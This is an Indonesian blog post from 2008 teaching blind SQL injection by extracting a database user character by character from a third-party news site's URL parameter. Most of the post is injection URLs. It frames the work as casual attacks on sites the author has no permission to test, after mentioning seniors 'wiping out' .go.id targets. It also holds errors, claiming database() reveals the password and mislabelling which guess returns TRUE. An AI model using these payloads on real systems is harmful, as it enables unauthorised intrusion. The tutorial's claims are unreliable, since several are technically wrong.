Oleh Cruz3N
Published: Oktober 1, 2008
Updated: Oktober 13, 2008
Aku akan mencoba menjelaskan sesimple mungkin tentang blind sql injection yang aku anggap dulu rumit banget... Bukannya sok ngajarin atau apalah, disini aku hanya berusaha memberikan apa yang aku punya dan bisa...
Oke, semua bermula karena aku suntuk banget...Semua target .go.id, co.id atau apapun.id dah dibabat habis sama senior disini...Akhirnya tanpa sengaja aku nyangkut ke situs luar...Anggep aja situs tersebut bernama
http://iseng.com/news.php?id=76009
Nah pada target aku kali ini, aku menggunakan sql commands mid() yang hampir sama fungsinya dengan substring()...
Langsung aja aku ketik
http://iseng.com/news.php?id=76009 and 1=0
dan ternyata hasilnya adalah FALSE
http://iseng.com/news.php?id=76009 and 1=1
bernilai TRUE
Nah setelah aku yakin kalo web tersebut vulnerable maka aku melakukan injeksi (hehehehe...)
http://iseng.com/news.php?id=76009 and mid(user(),1,1)=CHAR(65)
Nah penjelasannya supaya lo semua pada ngerti (hehehehe...orang aku juga baru belajar, sok ngasih tau...) aku akan coba menjelaskan arti dan makna dari baris URL dan statement diatas...
~ mid(user()1,1) artinya dalam kasus ini aku tidak mengetahui value atau nilai dari user itu apa, maka dalam "()" aku sengaja kosongkan.
~ 1,1 adalah urutan dari value tersebut.
~ CHAR adalah peubah dalam desimal
~ 65 adalah value decimal tersebut dan 65 adalah "A" dalam ASCII so aku akan mengawalinya dengan 65
Nah kalo dah begini apa yang akan terjadi? Dalam tampilan web tersebut akan terjadi true atau false...Nah dalam kasus ini false, berarti aku harus memasukkan nilai yang lain agar menjadi true...
FALSE
http://iseng.com/news.php?id=76009 and mid(user(),1,1)=CHAR(65)
FALSE
http://iseng.com/news.php?id=76009 and mid(user(),1,1)=CHAR(66)
TRUE!!!
http://iseng.com/news.php?id=76009 and mid(user(),1,1)=CHAR(67)
Akhirnya mendapatkan nilai true dan nilai tersebut adalah 67 (C dalam ASCII)
Cari nilai kedua dan caranya adalah...
http://iseng.com/news.php?id=76009 and mid(user(),1,2)=CHAR(67,65)
Nah 1,1 nya dah diganti dengan 1,2...Jadi kalo dah dapet diganti aja jadi 1,3...1,4 dan seterusnya...
Nah akhirnya aku mendapat nilai true pada angka ke 82 (R dalam ASCII)
Lanjutin aja sampe dapet nilai atau value user dan sampai akhirnya menjadi
http://iseng.com/news.php?id=76009 and mid(user(),1,6)=CHAR(67,82,85,90,51,78)
67=C
82=R
85=U
90=Z
51=3
78=N
Ternyata username-nya adalah CRUZ3N (Wow.... Kebetulan yang sangat lucu ;p)
Nah untuk cari passwordnya aku tinggal mengganti value user() menjadi database() dan lakukan semua tahap diatas dari pertama sampe dapet value true...
Contoh:
http://iseng.com/news.php?id=76009 and mid mid(database(),1,5)=CHAR(75,69,82,69,78)
Jadi password yang didapat adalah...
75=K
69=E
82=R
69=E
78=N
Jadi username dan passwordnya adalah CRUZ3N dan KEREN...
Ternyata Blind SQL Injection gak nyebel-nyebelin amat (Tapi ngebetein...). Nah katanya neh...cara ini cukup efektif untuk web yang telah menfilter SQL Injection...Bener gak tuh? Gak tau dah... Ilmu aku belom nyampe situ...
Oke sampe disini aja yah...
Mohon maaf jika ada salah-salah kata dan berhubung aku lupa jadi kagak ada screenshootnya (Padahal kalo ada keren banget tuh ;p).
Selasa, 25 November 2008
Langganan:
Posting Komentar (Atom)
Tidak ada komentar:
Posting Komentar